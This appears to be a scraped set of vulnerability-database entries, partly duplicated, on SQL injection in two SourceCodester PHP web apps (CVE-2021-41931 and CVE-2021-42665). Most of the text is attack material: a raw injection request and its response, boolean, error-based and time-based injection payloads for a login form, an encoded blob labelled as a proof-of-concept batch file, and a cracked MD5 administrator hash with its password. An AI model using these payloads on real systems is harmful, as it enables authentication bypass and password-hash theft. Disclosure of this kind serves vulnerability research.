<div class="fs-5 ps-4">Jr. Web Developer</div>
...[SNIP]...
<span class="badge bg-success rounded-pill">3</span>
...[SNIP]...
<div class="fs-6 ps-4"><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-size: 14px;">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin pretium vel tortor id semper. Donec ultrices sagittis euismod. Pellentesque ultrices lectus in suscipit ultricies. Morbi eget erat enim. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Mauris nec ex non lectus interdum interdum sit amet in lacus. Maecenas eu nulla nec nisi bibendum euismod in a nibh. Nullam quis gravida turpis. Donec hendrerit sagittis arcu quis mollis. Quisque pretium est in turpis pulvinar, nec pellentesque sem sagittis. Quisque ultrices molestie risus id varius. Vivamus sed efficitur erat, quis cursus massa. In in varius purus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Quisque eget cursus nunc. Aenean semper neque velit, quis ullamcorper justo efficitur id.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-size: 14px;"><b>Qualification:</b></p><ul><li style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-size: 14px;">Qualification 1</li><li style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-size: 14px;">Qualification 2</li><li style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-size: 14px;">Qualification 3<br></li></ul><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-size: 14px;">In ut ligula et erat ullamcorper imperdiet. Pellentesque vitae justo facilisis, gravida sapien quis, mollis urna. Proin eu aliquam justo. Cras malesuada, nunc ac varius dapibus, orci ante pretium elit, non porta augue lectus sit amet orci. Ut ac porta mauris. Donec venenatis nisi sit amet massa sollicitudin lobortis. Quisque eros lectus, blandit et dapibus eu, gravida a risus. Vivamus sodales rutrum purus ac dictum. Integer massa velit, facilisis at leo vitae, semper congue mi. Vivamus bibendum sem eget porta tristique. Nunc nisl odio, pellentesque nec pellentesque quis, consequat ut neque. Sed elementum vel augue malesuada ultrices. Nullam dapibus mattis leo vitae laoreet.</p></div>
...[SNIP]...
  • PoC r0n1n.bat
XvL5vVDYAJj4HVMbIvtHb6RMoVRD9iM5nNOr2XqhOpGam2eUj8ytNzzaJyLI+Pv0MtFALO1RllnynHT6Odr38k3iyKIyTN+FszTfPrdRuHJlBKLn79q7ClWCQwWKYtTOXSPGgaKHIyxQz6RR+8JV9FQMmUjHtus7ENGSGsbL8RJIHfCVRqH6xb8tpXPJILc4gIn7mseYxiLp8x7s5Q4QhGXnHvhrsj7lE6jqTQmphumt3gQmBvxlhQILxBKGSG5ZxoVleq4xR/aUiivIiejShajuYChPXHzDF3g/e41aX4BpHa3iQsf390FP+m+FKrpeNPSZUcQAy48EwgEdHNz04yblTBo5sS5ywV5ej+3ZmiwVALH6MSvnLG3mTqglNXSc4+/MkxxmuPrn0Xbe5EZnuGjZTAnWFqfzQJjwy3A8gI2AQWH+RAR2CdWCRzr6hB0rFYJlPrFOKWAgpPB92HfUsQ==

Decrypt of the password

The password is based on PHP md5() function. So, MD5 reverse for 0192023a7bbd73250516f069df18b500 is admin123

Reproduce:

href

Proof:

href

  • Music: – UKF

BR @nu11secur1ty

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Easy to weaponizeGives privileged accessVulnerable in default configuration
Technical Analysis

CVE-nu11-20-100121

CVE-2021-41931

Description of vulnerability:

The Company’s Recruitment Management System (by: oretnom23) in id=2 of the parameter from view_vacancy app on-page appears to be vulnerable to SQL Injection – Stealing the Password Hashes attacks.
The payloads 19424269’ or ‘1309’=‘1309 and 39476597’ or ‘2917’=‘2923 were each submitted in the id parameter.
These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Description of the exploit:

Exploit Title: Recruitment Management System is vulnerable to MyQSL injection - Stealing the Password Hashes attacks.
Date: 2021-10-01
Exploit Author: nu11secur1ty
Vendor Homepage: https://www.sourcecodester.com/user/257130/activity
Software Link: https://www.sourcecodester.com/php/14959/companys-recruitment-management-system-php-and-sqlite-free-source-code.html
Version: (by: oretnom23) dev
  • MySQL Request:
GET /employment_application/?page=view_vacancy&id=219424269'%20or%20'1309'%3d'1309 HTTP/1.1
Host: 192.168.1.180
Cookie: PHPSESSID=oku6deve0oo3qbrbbprp5jnb6j
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.180/employment_application/?page=vacancy
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Connection: close
Cache-Control: max-age=0
  • MySQL Respond
HTTP/1.1 200 OK
Date: Fri, 01 Oct 2021 09:37:56 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12044

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1
...[SNIP]...
<h5 class="card-title fw-bold wow">Sample Vacancy 101</h5>
...[SNIP]...
<div class="fs-5 ps-4">IT Depatment</div>
...[SNIP]...
<div class="fs-5 ps-4">Jr. Web Developer</div>
...[SNIP]...
<span class="badge bg-success rounded-pill">3</span>
...[SNIP]...
<div class="fs-6 ps-4"><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-size: 14px;">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin pretium vel tortor id semper. Donec ultrices sagittis euismod. Pellentesque ultrices lectus in suscipit ultricies. Morbi eget erat enim. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Mauris nec ex non lectus interdum interdum sit amet in lacus. Maecenas eu nulla nec nisi bibendum euismod in a nibh. Nullam quis gravida turpis. Donec hendrerit sagittis arcu quis mollis. Quisque pretium est in turpis pulvinar, nec pellentesque sem sagittis. Quisque ultrices molestie risus id varius. Vivamus sed efficitur erat, quis cursus massa. In in varius purus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Quisque eget cursus nunc. Aenean semper neque velit, quis ullamcorper justo efficitur id.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-size: 14px;"><b>Qualification:</b></p><ul><li style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-size: 14px;">Qualification 1</li><li style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-size: 14px;">Qualification 2</li><li style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-size: 14px;">Qualification 3<br></li></ul><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: &quot;Open Sans&quot;, Arial, sans-serif; font-size: 14px;">In ut ligula et erat ullamcorper imperdiet. Pellentesque vitae justo facilisis, gravida sapien quis, mollis urna. Proin eu aliquam justo. Cras malesuada, nunc ac varius dapibus, orci ante pretium elit, non porta augue lectus sit amet orci. Ut ac porta mauris. Donec venenatis nisi sit amet massa sollicitudin lobortis. Quisque eros lectus, blandit et dapibus eu, gravida a risus. Vivamus sodales rutrum purus ac dictum. Integer massa velit, facilisis at leo vitae, semper congue mi. Vivamus bibendum sem eget porta tristique. Nunc nisl odio, pellentesque nec pellentesque quis, consequat ut neque. Sed elementum vel augue malesuada ultrices. Nullam dapibus mattis leo vitae laoreet.</p></div>
...[SNIP]...
  • PoC r0n1n.bat
XvL5vVDYAJj4HVMbIvtHb6RMoVRD9iM5nNOr2XqhOpGam2eUj8ytNzzaJyLI+Pv0MtFALO1RllnynHT6Odr38k3iyKIyTN+FszTfPrdRuHJlBKLn79q7ClWCQwWKYtTOXSPGgaKHIyxQz6RR+8JV9FQMmUjHtus7ENGSGsbL8RJIHfCVRqH6xb8tpXPJILc4gIn7mseYxiLp8x7s5Q4QhGXnHvhrsj7lE6jqTQmphumt3gQmBvxlhQILxBKGSG5ZxoVleq4xR/aUiivIiejShajuYChPXHzDF3g/e41aX4BpHa3iQsf390FP+m+FKrpeNPSZUcQAy48EwgEdHNz04yblTBo5sS5ywV5ej+3ZmiwVALH6MSvnLG3mTqglNXSc4+/MkxxmuPrn0Xbe5EZnuGjZTAnWFqfzQJjwy3A8gI2AQWH+RAR2CdWCRzr6hB0rFYJlPrFOKWAgpPB92HfUsQ==

Decrypt of the password

The password is based on PHP md5() function. So, MD5 reverse for 0192023a7bbd73250516f069df18b500 is admin123

Reproduce:

href

Proof:

href

  • Music: – UKF

BR @nu11secur1ty

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Common in enterpriseEasy to weaponizeGives privileged accessVulnerable in default configuration
Technical Analysis

CVE-2021-42665

Vendor

Description:

An SQL Injection vulnerability exists in Sourcecodester Engineers Online Portal in PHP via the login form inside of index.php, which can allow an attacker to bypass authentication.
And five more SQL – Injections, the attacker can bypass all accounts of this system and he can manipulate those accounts with
malicious purposes and destroy the owners of these accounts. This system also has six more XSS: 4 reflected and 2 (CSRF) vulnerabilities!
Status: Critical and extremely awful!
Conclusion: This system must be stopped from distribution immediately! BR nu11secur1ty

Types of SQL Injections:

---
Parameter: firstname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: firstname=tbcRxVrk' OR NOT 6030=6030#&lastname=tbcRxVrk&department_id='&username=tbcRxVrk&password=x6P!w4r!A0&cpassword=x6P!w4r!A0

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: firstname=tbcRxVrk' AND (SELECT 4603 FROM(SELECT COUNT(*),CONCAT(0x716b717671,(SELECT (ELT(4603=4603,1))),0x717a627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- upfj&lastname=tbcRxVrk&department_id='&username=tbcRxVrk&password=x6P!w4r!A0&cpassword=x6P!w4r!A0

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: firstname=tbcRxVrk' AND (SELECT 2357 FROM (SELECT(SLEEP(5)))mNaQ)-- xKTb&lastname=tbcRxVrk&department_id='&username=tbcRxVrk&password=x6P!w4r!A0&cpassword=x6P!w4r!A0
---

Reproduce:

href

Proof:

href